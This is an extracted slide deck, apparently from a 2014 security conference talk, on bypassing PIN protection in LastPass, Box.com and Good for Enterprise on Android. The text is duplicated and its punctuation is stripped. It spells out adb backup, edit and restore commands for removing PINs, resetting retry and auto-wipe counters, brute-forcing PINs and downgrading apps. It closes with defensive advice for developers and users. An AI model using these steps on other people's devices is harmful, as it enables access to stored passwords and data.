bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 72: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
